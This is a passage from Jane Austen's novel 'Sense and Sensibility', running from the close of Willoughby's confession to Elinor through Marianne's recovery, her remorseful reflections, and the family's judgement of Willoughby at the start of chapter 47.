side, a most invariably prevailing +desire to keep out of your sight, could have separated us +so long. I avoided the Middletons as much as possible, +as well as everybody else who was likely to prove +an acquaintance in common. Not aware of their being +in town, however, I blundered on Sir John, I believe, +the first day of his coming, and the day after I had called +at Mrs. Jennings's. He asked me to a party, a dance at his +house in the evening.--Had he NOT told me as an inducement +that you and your sister were to be there, I should have +felt it too certain a thing, to trust myself near him. +The next morning brought another short note from Marianne-- +still affectionate, open, artless, confiding--everything +that could make MY conduct most hateful. I could not +answer it. I tried--but could not frame a sentence. +But I thought of her, I believe, every moment of the day. +If you CAN pity me, Miss Dashwood, pity my situation as it +was THEN. With my head and heart full of your sister, +I was forced to play the happy lover to another woman!--Those +three or four weeks were worse than all. Well, at last, +as I need not tell you, you were forced on me; and what a +sweet figure I cut!--what an evening of agony it was!-- +Marianne, beautiful as an angel on one side, calling me +Willoughby in such a tone!--Oh, God!--holding out her hand +to me, asking me for an explanation, with those bewitching +eyes fixed in such speaking solicitude on my face!--and +Sophia, jealous as the devil on the other hand, looking +all that was--Well, it does not signify; it is over now.-- +Such an evening!--I ran away from you all as soon as I could; +but not before I had seen Marianne's sweet face as white +as death.--THAT was the last, last look I ever had of her;-- +the last manner in which she appeared to me. It was a horrid +sight!--yet when I thought of her to-day as really dying, +it was a kind of comfort to me to imagine that I knew +exactly how she would appear to those, who saw her last +in this world. She was before me, constantly before me, +as I travelled, in the same look and hue." + +A short pause of mutual thoughtfulness succeeded. +Willoughby first rousing himself, broke it thus: + +"Well, let me make haste and be gone. Your sister +is certainly better, certainly out of danger?" + +"We are assured of it." + +"Your poor mother, too!--doting on Marianne." + +"But the letter, Mr. Willoughby, your own letter; +have you any thing to say about that?" + +"Yes, yes, THAT in particular. Your sister +wrote to me again, you know, the very next morning. +You saw what she said. I was breakfasting at the +Ellisons,--and her letter, with some others, was brought +to me there from my lodgings. It happened to catch +Sophia's eye before it caught mine--and its size, +the elegance of the paper, the hand-writing altogether, +immediately gave her a suspicion. Some vague report had +reached her before of my attachment to some young lady +in Devonshire, and what had passed within her observation +the preceding evening had marked who the young lady was, +and made her more jealous than ever. Affecting that air +of playfulness, therefore, which is delightful in a woman +one loves, she opened the letter directly, and read +its contents. She was well paid for her impudence. +She read what made her wretched. Her wretchedness I could +have borne, but her passion--her malice--At all events it +must be appeased. And, in short--what do you think of my +wife's style of letter-writing?--delicate--tender-- +truly feminine--was it not?" + +"Your wife!--The letter was in your own hand-writing." + +"Yes, but I had only the credit of servilely copying +such sentences as I was ashamed to put my name to. +The original was all her own--her own happy thoughts +and gentle diction. But what could I do!--we were engaged, +every thing in preparation, the day almost fixed--But I am +talking like a fool. Preparation!--day!--In honest words, +her money was necessary to me, and in a situation like +mine, any thing was to be done to prevent a rupture. +And after all, what did it signify to my character +in the opinion of Marianne and her friends, in what language +my answer was couched?--It must have been only to one end. +My business was to declare myself a scoundrel, and whether +I did it with a bow or a bluster was of little importance.-- +'I am ruined for ever in their opinion--' said I to +myself--'I am shut out for ever from their society, +they already think me an unprincipled fellow, this letter +will only make them think me a blackguard one.' Such were +my reasonings, as, in a sort of desperate carelessness, +I copied my wife's words, and parted with the last relics +of Marianne. Her three notes--unluckily they were all +in my pocketbook, or I should have denied their existence, +and hoarded them for ever--I was forced to put them up, +and could not even kiss them. And the lock of hair--that too +I had always carried about me in the same pocket-book, +which was now searched by Madam with the most ingratiating +virulence,--the dear lock--all, every memento was torn from me." + +"You are very wrong, Mr. Willoughby, very blamable," +said Elinor, while her voice, in spite of herself, +betrayed her compassionate emotion; "you ought not to speak +in this way, either of Mrs. Willoughby or my sister. +You had made your own choice. It was not forced on you. +Your wife has a claim to your politeness, to your respect, +at least. She must be attached to you, or she would not +have married you. To treat her with unkindness, to speak +of her slightingly is no atonement to Marianne--nor can I +suppose it a relief to your own conscience." + +"Do not talk to me of my wife," said he with a heavy sigh.-- +"She does not deserve your compassion.--She knew I had no +regard for her when we married.--Well, married we were, +and came down to Combe Magna to be happy, and afterwards +returned to town to be gay.--And now do you pity me, +Miss Dashwood?--or have I said all this to no purpose?-- +Am I--be it only one degree--am I less guilty in your opinion +than I was before?--My intentions were not always wrong. +Have I explained away any part of my guilt?" + +"Yes, you have certainly removed something--a little.-- +You have proved yourself, on the whole, less faulty than +I had believed you. You have proved your heart less wicked, +much less wicked. But I hardly know--the misery that +you have inflicted--I hardly know what could have made +it worse." + +"Will you repeat to your sister when she is recovered, +what I have been telling you?--Let me be a little lightened +too in her opinion as well as in yours. You tell me that +she has forgiven me already. Let me be able to fancy that +a better knowledge of my heart, and of my present feelings, +will draw from her a more spontaneous, more natural, more +gentle, less dignified, forgiveness. Tell her of my misery +and my penitence--tell her that my heart was never inconstant +to her, and if you will, that at this moment she is dearer +to me than ever." + +"I will tell her all that is necessary to what may +comparatively be called, your justification. But you have +not explained to me the particular reason of your coming now, +nor how you heard of her illness." + +"Last night, in Drury Lane lobby, I ran against Sir +John Middleton, and when he saw who I was--for the first +time these two months--he spoke to me.--That he had cut +me ever since my marriage, I had seen without surprise +or resentment. Now, however, his good-natured, honest, +stupid soul, full of indignation against me, and concern +for your sister, could not resist the temptation of telling +me what he knew ought to--though probably he did not +think it WOULD--vex me horridly. As bluntly as he could +speak it, therefore, he told me that Marianne Dashwood +was dying of a putrid fever at Cleveland--a letter that +morning received from Mrs. Jennings declared her danger +most imminent--the Palmers are all gone off in a fright, +&c.--I was too much shocked to be able to pass myself +off as insensible even to the undiscerning Sir John. +His heart was softened in seeing mine suffer; and so much +of his ill-will was done away, that when we parted, +he almost shook me by the hand while he reminded me of an +old promise about a pointer puppy. What I felt on hearing +that your sister was dying--and dying too, believing me +the greatest villain upon earth, scorning, hating me +in her latest moments--for how could I tell what horrid +projects might not have been imputed? ONE person I +was sure would represent me as capable of any thing-- +What I felt was dreadful!--My resolution was soon made, +and at eight o'clock this morning I was in my carriage. +Now you know all." + +Elinor made no answer. Her thoughts were silently fixed +on the irreparable injury which too early an independence +and its consequent habits of idleness, dissipation, and luxury, +had made in the mind, the character, the happiness, +of a man who, to every advantage of person and talents, +united a disposition naturally open and honest, and a +feeling, affectionate temper. The world had made him +extravagant and vain--Extravagance and vanity had made him +cold-hearted and selfish. Vanity, while seeking its own +guilty triumph at the expense of another, had involved +him in a real attachment, which extravagance, or at least +its offspring, necessity, had required to be sacrificed. +Each faulty propensity in leading him to evil, had led +him likewise to punishment. The attachment, from which +against honour, against feeling, against every better interest +he had outwardly torn himself, now, when no longer allowable, +governed every thought; and the connection, for the sake +of which he had, with little scruple, left her sister +to misery, was likely to prove a source of unhappiness +to himself of a far more incurable nature. From a reverie +of this kind she was recalled at the end of some minutes +by Willoughby, who, rousing himself from a reverie at least +equally painful, started up in preparation for going, and said-- + +"There is no use in staying here; I must be off." + +"Are you going back to town?" + +"No--to Combe Magna. I have business there; +from thence to town in a day or two. Good bye." + +He held out his hand. She could not refuse to give +him hers's;--he pressed it with affection. + +"And you DO think something better of me than +you did?"--said he, letting it fall, and leaning against +the mantel-piece as if forgetting he was to go. + +Elinor assured him that she did;--that she forgave, +pitied, wished him well--was even interested in his +happiness--and added some gentle counsel as to the behaviour +most likely to promote it. His answer was not very encouraging. + +"As to that," said he, "I must rub through the world +as well as I can. Domestic happiness is out of the question. +If, however, I am allowed to think that you and yours feel +an interest in my fate and actions, it may be the means--it +may put me on my guard--at least, it may be something to +live for. Marianne to be sure is lost to me for ever. +Were I even by any blessed chance at liberty again--" + +Elinor stopped him with a reproof. + +"Well,"--he replied--"once more good bye. I shall +now go away and live in dread of one event." + +"What do you mean?" + +"Your sister's marriage." + +"You are very wrong. She can never be more lost +to you than she is now." + +"But she will be gained by some one else. And if +that some one should be the very he whom, of all others, +I could least bear--but I will not stay to rob myself +of all your compassionate goodwill, by shewing +that where I have most injured I can least forgive. +Good bye,--God bless you!" + +And with these words, he almost ran out of the room. + + + +CHAPTER 45 + + +Elinor, for some time after he left her, for some time +even after the sound of his carriage had died away, remained +too much oppressed by a crowd of ideas, widely differing in +themselves, but of which sadness was the general result, +to think even of her sister. + +Willoughby, he, whom only half an hour ago she had +abhorred as the most worthless of men, Willoughby, in spite +of all his faults, excited a degree of commiseration +for the sufferings produced by them, which made her +think of him as now separated for ever from her family, +with a tenderness, a regret, rather in proportion, as she +soon acknowledged within herself--to his wishes than to +his merits. She felt that his influence over her mind +was heightened by circumstances which ought not in reason +to have weight; by that person of uncommon attraction, +that open, affectionate, and lively manner which it +was no merit to possess; and by that still ardent love +for Marianne, which it was not even innocent to indulge. +But she felt that it was so, long, long before she could +feel his influence less. + +When at last she returned to the unconscious Marianne, +she found her just awaking, refreshed by so long and sweet +a sleep to the extent of her hopes. Elinor's heart was full. +The past, the present, the future, Willoughby's visit, +Marianne's safety, and her mother's expected arrival, +threw her altogether into an agitation of spirits +which kept off every indication of fatigue, and made +her only fearful of betraying herself to her sister. +Short was the time, however, in which that fear could +affect her, for within half an hour after Willoughby's +leaving the house, she was again called down stairs +by the sound of another carriage.--Eager to save her +mother from every unnecessary moment's horrible suspense, +she ran immediately into the hall, and reached the outward +door just in time to receive and support her as she entered it. + +Mrs. Dashwood, whose terror as they drew near the +house had produced almost the conviction of Marianne's +being no more, had no voice to inquire after her, +no voice even for Elinor; but SHE, waiting neither for +salutation nor inquiry, instantly gave the joyful relief;-- +and her mother, catching it with all her usual warmth, +was in a moment as much overcome by her happiness, as she +had been before by her fears. She was supported into +the drawing-room between her daughter and her friend;-- +and there, shedding tears of joy, though still unable +to speak, embraced Elinor again and again, turning from her +at intervals to press Colonel Brandon's hand, with a look +which spoke at once her gratitude, and her conviction +of his sharing with herself in the bliss of the moment. +He shared it, however, in a silence even greater than her own. + +As soon as Mrs. Dashwood had recovered herself, +to see Marianne was her first desire; and in two minutes she +was with her beloved child, rendered dearer to her than ever +by absence, unhappiness, and danger. Elinor's delight, +as she saw what each felt in the meeting, was only checked +by an apprehension of its robbing Marianne of farther sleep;-- +but Mrs. Dashwood could be calm, could be even prudent, +when the life of a child was at stake, and Marianne, +satisfied in knowing her mother was near her, and conscious +of being too weak for conversation, submitted readily to the +silence and quiet prescribed by every nurse around her. +Mrs. Dashwood WOULD sit up with her all night; and Elinor, +in compliance with her mother's entreaty, went to bed. +But the rest, which one night entirely sleepless, +and many hours of the most wearing anxiety seemed to +make requisite, was kept off by irritation of spirits. +Willoughby, "poor Willoughby," as she now allowed +herself to call him, was constantly in her thoughts; she +would not but have heard his vindication for the world, +and now blamed, now acquitted herself for having judged him +so harshly before. But her promise of relating it to her +sister was invariably painful. She dreaded the performance +of it, dreaded what its effect on Marianne might be; +doubted whether after such an explanation she could ever +be happy with another; and for a moment wished Willoughby +a widower. Then, remembering Colonel Brandon, reproved herself, +felt that to HIS sufferings and his constancy far more +than to his rival's, the reward of her sister was due, +and wished any thing rather than Mrs. Willoughby's death. + +The shock of Colonel Brandon's errand at Barton had been +much softened to Mrs. Dashwood by her own previous alarm; +for so great was her uneasiness about Marianne, that she +had already determined to set out for Cleveland on that +very day, without waiting for any further intelligence, +and had so far settled her journey before his arrival, +that the Careys were then expected every moment to fetch +Margaret away, as her mother was unwilling to take her +where there might be infection. + +Marianne continued to mend every day, and the brilliant +cheerfulness of Mrs. Dashwood's looks and spirits proved +her to be, as she repeatedly declared herself, one of +the happiest women in the world. Elinor could not hear +the declaration, nor witness its proofs without sometimes +wondering whether her mother ever recollected Edward. +But Mrs. Dashwood, trusting to the temperate account +of her own disappointment which Elinor had sent her, +was led away by the exuberance of her joy to think only +of what would increase it. Marianne was restored to her +from a danger in which, as she now began to feel, +her own mistaken judgment in encouraging the unfortunate +attachment to Willoughby, had contributed to place her;-- +and in her recovery she had yet another source of joy +unthought of by Elinor. It was thus imparted to her, +as soon as any opportunity of private conference +between them occurred. + +"At last we are alone. My Elinor, you do not yet +know all my happiness. Colonel Brandon loves Marianne. +He has told me so himself." + +Her daughter, feeling by turns both pleased and pained, +surprised and not surprised, was all silent attention. + +"You are never like me, dear Elinor, or I should +wonder at your composure now. Had I sat down to wish +for any possible good to my family, I should have fixed +on Colonel Brandon's marrying one of you as the object +most desirable. And I believe Marianne will be the most +happy with him of the two." + +Elinor was half inclined to ask her reason for thinking so, +because satisfied that none founded on an impartial +consideration of their age, characters, or feelings, +could be given;--but her mother must always be carried +away by her imagination on any interesting subject, +and therefore instead of an inquiry, she passed it off with a +smile. + +"He opened his whole heart to me yesterday as we travelled. +It came out quite unawares, quite undesignedly. I, you may +well believe, could talk of nothing but my child;--he could +not conceal his distress; I saw that it equalled my own, +and he perhaps, thinking that mere friendship, as the world +now goes, would not justify so warm a sympathy--or rather, +not thinking at all, I suppose--giving way to irresistible +feelings, made me acquainted with his earnest, tender, constant, +affection for Marianne. He has loved her, my Elinor, ever since +the first moment of seeing her." + +Here, however, Elinor perceived,--not the language, +not the professions of Colonel Brandon, but the natural +embellishments of her mother's active fancy, which fashioned +every thing delightful to her as it chose. + +"His regard for her, infinitely surpassing anything +that Willoughby ever felt or feigned, as much more warm, +as more sincere or constant--which ever we are to call it-- +has subsisted through all the knowledge of dear Marianne's +unhappy prepossession for that worthless young man!--and +without selfishness--without encouraging a hope!--could +he have seen her happy with another--Such a noble mind!-- +such openness, such sincerity!--no one can be deceived +in HIM." + +"Colonel Brandon's character," said Elinor, +"as an excellent man, is well established." + +"I know it is"--replied her mother seriously, "or +after such a warning, I should be the last to encourage +such affection, or even to be pleased by it. But his coming +for me as he did, with such active, such ready friendship, +is enough to prove him one of the worthiest of men." + +"His character, however," answered Elinor, "does not rest +on ONE act of kindness, to which his affection for Marianne, +were humanity out of the case, would have prompted him. +To Mrs. Jennings, to the Middletons, he has been long +and intimately known; they equally love and respect him; +and even my own knowledge of him, though lately acquired, +is very considerable; and so highly do I value and esteem him, +that if Marianne can be happy with him, I shall be as ready +as yourself to think our connection the greatest blessing +to us in the world. What answer did you give him?--Did you +allow him to hope?" + +"Oh! my love, I could not then talk of hope to him +or to myself. Marianne might at that moment be dying. +But he did not ask for hope or encouragement. His was +an involuntary confidence, an irrepressible effusion +to a soothing friend--not an application to a parent. +Yet after a time I DID say, for at first I was quite +overcome--that if she lived, as I trusted she might, +my greatest happiness would lie in promoting their marriage; +and since our arrival, since our delightful security, +I have repeated it to him more fully, have given him every +encouragement in my power. Time, a very little time, +I tell him, will do everything;--Marianne's heart is +not to be wasted for ever on such a man as Willoughby.-- +His own merits must soon secure it." + +"To judge from the Colonel's spirits, however, +you have not yet made him equally sanguine." + +"No.--He thinks Marianne's affection too deeply +rooted for any change in it under a great length of time, +and even supposing her heart again free, is too diffident +of himself to believe, that with such a difference of age +and disposition he could ever attach her. There, however, +he is quite mistaken. His age is only so much beyond +hers as to be an advantage, as to make his character and +principles fixed;--and his disposition, I am well convinced, +is exactly the very one to make your sister happy. +And his person, his manners too, are all in his favour. +My partiality does not blind me; he certainly is not +so handsome as Willoughby--but at the same time, +there is something much more pleasing in his countenance.-- +There was always a something,--if you remember,--in Willoughby's +eyes at times, which I did not like." + +Elinor could NOT remember it;--but her mother, +without waiting for her assent, continued, + +"And his manners, the Colonel's manners are not only +more pleasing to me than Willoughby's ever were, but they +are of a kind I well know to be more solidly attaching +to Marianne. Their gentleness, their genuine attention +to other people, and their manly unstudied simplicity +is much more accordant with her real disposition, than +the liveliness--often artificial, and often ill-timed +of the other. I am very sure myself, that had Willoughby +turned out as really amiable, as he has proved himself +the contrary, Marianne would yet never have been so happy +with HIM, as she will be with Colonel Brandon." + +She paused.--Her daughter could not quite agree +with her, but her dissent was not heard, and therefore +gave no offence. + +"At Delaford, she will be within an easy distance of me," +added Mrs. Dashwood, "even if I remain at Barton; and in all +probability,--for I hear it is a large village,--indeed there +certainly MUST be some small house or cottage close by, +that would suit us quite as well as our present situation." + +Poor Elinor!--here was a new scheme for getting +her to Delaford!--but her spirit was stubborn. + +"His fortune too!--for at my time of life you know, +everybody cares about THAT;--and though I neither know +nor desire to know, what it really is, I am sure it must be +a good one." + +Here they were interrupted by the entrance of a +third person, and Elinor withdrew to think it all over +in private, to wish success to her friend, and yet +in wishing it, to feel a pang for Willoughby. + + + +CHAPTER 46 + + +Marianne's illness, though weakening in its kind, +had not been long enough to make her recovery slow; +and with youth, natural strength, and her mother's presence +in aid, it proceeded so smoothly as to enable her to remove, +within four days after the arrival of the latter, +into Mrs. Palmer's dressing-room. When there, at her own +particular request, for she was impatient to pour forth +her thanks to him for fetching her mother, Colonel Brandon +was invited to visit her. + +His emotion on entering the room, in seeing her altered +looks, and in receiving the pale hand which she immediately +held out to him, was such, as, in Elinor's conjecture, +must arise from something more than his affection for Marianne, +or the consciousness of its being known to others; +and she soon discovered in his melancholy eye and varying +complexion as he looked at her sister, the probable +recurrence of many past scenes of misery to his mind, +brought back by that resemblance between Marianne and Eliza +already acknowledged, and now strengthened by the hollow eye, +the sickly skin, the posture of reclining weakness, +and the warm acknowledgment of peculiar obligation. + +Mrs. Dashwood, not less watchful of what passed than +her daughter, but with a mind very differently influenced, +and therefore watching to very different effect, +saw nothing in the Colonel's behaviour but what arose +from the most simple and self-evident sensations, while in +the actions and words of Marianne she persuaded herself +to think that something more than gratitude already dawned. + +At the end of another day or two, Marianne growing +visibly stronger every twelve hours, Mrs. Dashwood, +urged equally by her own and her daughter's wishes, +began to talk of removing to Barton. On HER measures +depended those of her two friends; Mrs. Jennings could +not quit Cleveland during the Dashwoods' stay; and Colonel +Brandon was soon brought, by their united request, +to consider his own abode there as equally determinate, +if not equally indispensable. At his and Mrs. Jennings's +united request in return, Mrs. Dashwood was prevailed +on to accept the use of his carriage on her journey back, +for the better accommodation of her sick child; and the Colonel, +at the joint invitation of Mrs. Dashwood and Mrs. Jennings, +whose active good-nature made her friendly and hospitable +for other people as well as herself, engaged with pleasure +to redeem it by a visit at the cottage, in the course +of a few weeks. + +The day of separation and departure arrived; +and Marianne, after taking so particular and lengthened +a leave of Mrs. Jennings, one so earnestly grateful, so full +of respect and kind wishes as seemed due to her own heart +from a secret acknowledgment of past inattention, and bidding +Colonel Brandon farewell with a cordiality of a friend, +was carefully assisted by him into the carriage, of which he +seemed anxious that she should engross at least half. +Mrs. Dashwood and Elinor then followed, and the others +were left by themselves, to talk of the travellers, +and feel their own dullness, till Mrs. Jennings was summoned +to her chaise to take comfort in the gossip of her maid +for the loss of her two young companions; and Colonel Brandon +immediately afterwards took his solitary way to Delaford. + +The Dashwoods were two days on the road, and Marianne +bore her journey on both, without essential fatigue. +Every thing that the most zealous affection, the most +solicitous care could do to render her comfortable, +was the office of each watchful companion, and each +found their reward in her bodily ease, and her calmness +of spirits. To Elinor, the observation of the latter +was particularly grateful. She, who had seen her week +after week so constantly suffering, oppressed by anguish +of heart which she had neither courage to speak of, +nor fortitude to conceal, now saw with a joy, which no other +could equally share, an apparent composure of mind, which, +in being the result as she trusted of serious reflection, +must eventually lead her to contentment and cheerfulness. + +As they approached Barton, indeed, and entered +on scenes of which every field and every tree brought +some peculiar, some painful recollection, she grew silent +and thoughtful, and turning away her face from their notice, +sat earnestly gazing through the window. But here, +Elinor could neither wonder nor blame; and when she saw, +as she assisted Marianne from the carriage, that she +had been crying, she saw only an emotion too natural +in itself to raise any thing less tender than pity, +and in its unobtrusiveness entitled to praise. In the +whole of her subsequent manner, she traced the direction +of a mind awakened to reasonable exertion; for no sooner +had they entered their common sitting-room, than Marianne +turned her eyes around it with a look of resolute firmness, +as if determined at once to accustom herself to the sight +of every object with which the remembrance of Willoughby could +be connected.--She said little, but every sentence aimed +at cheerfulness, and though a sigh sometimes escaped her, +it never passed away without the atonement of a smile. +After dinner she would try her piano-forte. She went to it; +but the music on which her eye first rested was an opera, +procured for her by Willoughby, containing some of their +favourite duets, and bearing on its outward leaf her own name +in his hand-writing.--That would not do.--She shook her head, +put the music aside, and after running over the keys +for a minute, complained of feebleness in her fingers, +and closed the instrument again; declaring however with firmness +as she did so, that she should in future practice much. + +The next morning produced no abatement in these +happy symptoms. On the contrary, with a mind and body +alike strengthened by rest, she looked and spoke with +more genuine spirit, anticipating the pleasure of +Margaret's return, and talking of the dear family party +which would then be restored, of their mutual pursuits +and cheerful society, as the only happiness worth a wish. + +"When the weather is settled, and I have recovered +my strength," said she, "we will take long walks together +every day. We will walk to the farm at the edge of the down, +and see how the children go on; we will walk to Sir John's +new plantations at Barton Cross, and the Abbeyland; +and we will often go the old ruins of the Priory, +and try to trace its foundations as far as we are told +they once reached. I know we shall be happy. I know +the summer will pass happily away. I mean never to be +later in rising than six, and from that time till dinner +I shall divide every moment between music and reading. +I have formed my plan, and am determined to enter on a course +of serious study. Our own library is too well known to me, +to be resorted to for any thing beyond mere amusement. +But there are many works well worth reading at the Park; +and there are others of more modern production which I +know I can borrow of Colonel Brandon. By reading only six +hours a-day, I shall gain in the course of a twelve-month +a great deal of instruction which I now feel myself to want." + +Elinor honoured her for a plan which originated +so nobly as this; though smiling to see the same eager +fancy which had been leading her to the extreme of languid +indolence and selfish repining, now at work in introducing +excess into a scheme of such rational employment and virtuous +self-control. Her smile however changed to a sigh when she +remembered that promise to Willoughby was yet unfulfilled, +and feared she had that to communicate which might again +unsettle the mind of Marianne, and ruin at least for a time +this fair prospect of busy tranquillity. Willing therefore +to delay the evil hour, she resolved to wait till her +sister's health were more secure, before she appointed it. +But the resolution was made only to be broken. + +Marianne had been two or three days at home, before +the weather was fine enough for an invalid like herself +to venture out. But at last a soft, genial morning appeared; +such as might tempt the daughter's wishes and the +mother's confidence; and Marianne, leaning on Elinor's arm, +was authorised to walk as long as she could without fatigue, +in the lane before the house. + +The sisters set out at a pace, slow as the feebleness +of Marianne in an exercise hitherto untried since her +illness required;--and they had advanced only so far +beyond the house as to admit a full view of the hill, +the important hill behind, when pausing with her eyes +turned towards it, Marianne calmly said, + +"There, exactly there,"--pointing with one hand, +"on that projecting mound,--there I fell; and there +I first saw Willoughby." + +Her voice sunk with the word, but presently reviving she added, + +"I am thankful to find that I can look with so little pain +on the spot!--shall we ever talk on that subject, Elinor?"-- +hesitatingly it was said.--"Or will it be wrong?--I can talk +of it now, I hope, as I ought to do."-- + +Elinor tenderly invited her to be open. + +"As for regret," said Marianne, "I have done with that, +as far as HE is concerned. I do not mean to talk to you +of what my feelings have been for him, but what they +are NOW.--At present, if I could be satisfied on one point, +if I could be allowed to think that he was not ALWAYS +acting a part, not ALWAYS deceiving me;--but above all, +if I could be assured that he never was so VERY wicked +as my fears have sometimes fancied him, since the story +of that unfortunate girl"-- + +She stopt. Elinor joyfully treasured her words +as she answered, + +"If you could be assured of that, you think you +should be easy." + +"Yes. My peace of mind is doubly involved in it;-- +for not only is it horrible to suspect a person, who has +been what HE has been to ME, of such designs,--but what must +it make me appear to myself?--What in a situation like mine, +but a most shamefully unguarded affection could expose +me to"-- + +"How then," asked her sister, "would you account +for his behaviour?" + +"I would suppose him,--Oh, how gladly would I suppose him, +only fickle, very, very fickle." + +Elinor said no more. She was debating within herself +on the eligibility of beginning her story directly, +or postponing it till Marianne were in stronger health;-- +and they crept on for a few minutes in silence. + +"I am not wishing him too much good," said Marianne +at last with a sigh, "when I wish his secret reflections +may be no more unpleasant than my own. He will suffer +enough in them." + +"Do you compare your conduct with his?" + +"No. I compare it with what it ought to have been; +I compare it with yours." + +"Our situations have borne little resemblance." + +"They have borne more than our conduct.--Do not, +my dearest Elinor, let your kindness defend what I know +your judgment must censure. My illness has made me think-- +It has given me leisure and calmness for serious recollection. +Long before I was enough recovered to talk, I was perfectly +able to reflect. I considered the past: I saw in my +own behaviour, since the beginning of our acquaintance +with him last autumn, nothing but a series of imprudence +towards myself, and want of kindness to others. +I saw that my own feelings had prepared my sufferings, +and that my want of fortitude under them had almost led +me to the grave. My illness, I well knew, had been +entirely brought on by myself by such negligence of my +own health, as I had felt even at the time to be wrong. +Had I died,--it would have been self-destruction. I +did not know my danger till the danger was removed; +but with such feelings as these reflections gave me, +I wonder at my recovery,--wonder that the very eagerness +of my desire to live, to have time for atonement to my God, +and to you all, did not kill me at once. Had I died,-- +in what peculiar misery should I have left you, my nurse, +my friend, my sister!--You, who had seen all the fretful +selfishness of my latter days; who had known all the +murmurings of my heart!--How should I have lived in YOUR +remembrance!--My mother too! How could you have consoled +her!--I cannot express my own abhorrence of myself. +Whenever I looked towards the past, I saw some duty neglected, +or some failing indulged. Every body seemed injured by me. +The kindness, the unceasing kindness of Mrs. Jennings, +I had repaid with ungrateful contempt. To the Middletons, +to the Palmers, the Steeles, to every common acquaintance even, +I had been insolent and unjust; with a heart hardened +against their merits, and a temper irritated by their +very attention.--To John, to Fanny,--yes, even to them, +little as they deserve, I had given less than their due. +But you,--you above all, above my mother, had been wronged +by me. I, and only I, knew your heart and its sorrows; +yet to what did it influence me?--not to any compassion +that could benefit you or myself.--Your example was +before me; but to what avail?--Was I more considerate +of you and your comfort? Did I imitate your forbearance, +or lessen your restraints, by taking any part in those +offices of general complaisance or particular gratitude +which you had hitherto been left to discharge alone?--No;-- +not less when I knew you to be unhappy, than when I +had believed you at ease, did I turn away from every +exertion of duty or friendship; scarcely allowing sorrow +to exist but with me, regretting only THAT heart +which had deserted and wronged me, and leaving you, +for or I professed an unbounded affection, to be miserable +for my sake." + +Here ceased the rapid flow of her self-reproving spirit; +and Elinor, impatient to soothe, though too honest +to flatter, gave her instantly that praise and support +which her frankness and her contrition so well deserved. +Marianne pressed her hand and replied, + +"You are very good.--The future must be my proof. +I have laid down my plan, and if I am capable of adhering +to it--my feelings shall be governed and my temper improved. +They shall no longer worry others, nor torture myself. +I shall now live solely for my family. You, my mother, +and Margaret, must henceforth be all the world to me; +you will share my affections entirely between you. +>From you, from my home, I shall never again have the smallest +incitement to move; and if I do mix in other society, +it will be only to shew that my spirit is humbled, +my heart amended, and that I can practise the civilities, +the lesser duties of life, with gentleness and forbearance. +As for Willoughby--to say that I shall soon or that I shall +ever forget him, would be idle. His remembrance can be overcome +by no change of circumstances or opinions. But it shall +be regulated, it shall be checked by religion, by reason, +by constant employment." + +She paused--and added in a low voice, "If I could +but know HIS heart, everything would become easy." + +Elinor, who had now been for some time reflecting +on the propriety or impropriety of speedily hazarding +her narration, without feeling at all nearer decision than +at first, heard this; and perceiving that as reflection +did nothing, resolution must do all, soon found herself +leading to the fact. + +She managed the recital, as she hoped, with address; +prepared her anxious listener with caution; related simply +and honestly the chief points on which Willoughby +grounded his apology; did justice to his repentance, +and softened only his protestations of present regard. +Marianne said not a word.--She trembled, her eyes +were fixed on the ground, and her lips became whiter +than even sickness had left them. A thousand inquiries +sprung up from her heart, but she dared not urge one. +She caught every syllable with panting eagerness; her hand, +unknowingly to herself, closely pressed her sister's, and +tears covered her cheeks. + +Elinor, dreading her being tired, led her towards home; +and till they reached the door of the cottage, +easily conjecturing what her curiosity must be +though no question was suffered to speak it, talked of +nothing but Willoughby, and their conversation together; +and was carefully minute in every particular of speech +and look, where minuteness could be safely indulged. +As soon as they entered the house, Marianne with a kiss +of gratitude and these two words just articulate through +her tears, "Tell mama," withdrew from her sister and +walked slowly up stairs. Elinor would not attempt +to disturb a solitude so reasonable as what she now sought; +and with a mind anxiously pre-arranging its result, +and a resolution of reviving the subject again, +should Marianne fail to do it, she turned into the parlour +to fulfill her parting injunction. + + + +CHAPTER 47 + + +Mrs. Dashwood did not hear unmoved the vindication +of her former favourite. She rejoiced in his being +cleared from some part of his imputed guilt;--she was +sorry for him;--she wished him happy. But the feelings +of the past could not be recalled.--Nothing could restore +him with a faith unbroken--a character unblemished, +to Marianne. Nothing could do away the knowledge +of what the latter had suffered through his means, +nor remove the guilt of his conduct towards Eliza. +Nothing could replace him, therefore, in her former esteem, +nor injure the interests of Colonel Brandon. + +Had Mrs. Dashwood, like her daughter, heard Willoughby's +story from himself--had she witnessed his distress, +and been under the influence of his countenance and his +manner, it is probable that her compassion would have +been greater. But it was neither in Elinor's power, +nor in her wish, to rouse such feelings in another, by her +retailed explanation, as had at first been called forth +in herself. Reflection had given calmness to her judgment, +and sobered her own opinion of Willoughby's deserts;-- +she wished, therefore, to declare only the simple truth, +and lay open such facts as were really due to his character, +without any embellishment of tenderness to lead the +fancy astray. + +In the evening, when they were all three together, +Marianne began voluntarily to speak of him again;-- +but that it was not without an effort, the restless, +unquiet thoughtfulness in which she had been for some time +previously sitting--her rising colour, as she spoke,-- +and her unsteady voice, plainly shewed. + +"I wish to assure you both," said she, "that I see +every thing--as you can desire me to do." + +Mrs. Dashwood would have interrupted her instantly +with soothing tenderness, had not Elinor, who really wished +to hear her sister's unbiased opinion, by an eager sign, +engaged her silence. Marianne slowly continued-- + +"It is a great relief to me--what Elinor told +me this morning--I have now heard exactly what I +wished to hear."--For some moments her voice was lost; +but recovering herself, she added, and with greater +calmness than before--"I am now perfectly satisfied, +I wish for no change. I never could have been happy +with him, after knowing, as sooner or later I must +have known, all this.--I should have had no confidence, +no esteem. Nothing could have done it away to my feelings." + +"I know it--I know it," cried her mother. +"Happy with a man of libertine practices!--With one +who so injured the peace of the dearest of our friends, +and the best of men!--No--my Marianne has not a heart +to be made happy with such a man!--Her conscience, her +sensitive conscience, would have felt all that the +conscience of her husband ought to have felt." + +Marianne sighed, and repeated, "I wish for no change." + +"You consider the matter," said Elinor, "exactly as +a good mind and a sound understanding must consider it; +and I dare say you perceive, as well as myself, not only +in this, but in many other circumstances, reason enough +to be convinced that your marriage must have involved you +in many certain troubles and disappointments, in which +you would have been poorly supported by an affection, +on his side, much less certain. Had you married, +you must have been always poor. His expensiveness is +acknowledged even by himself, and his whole conduct declares +that self-denial is a word hardly understood by him. +His demands and your inexperience together, on a small, +very small income, must have brought on distresses which +would not be the LESS grievous to you, from having been +entirely unknown and unthought of before. YOUR sense +of honour and honesty would have led you, I know, +when aware of your situation, to attempt all the economy +that would appear to you possible: and, perhaps, as long 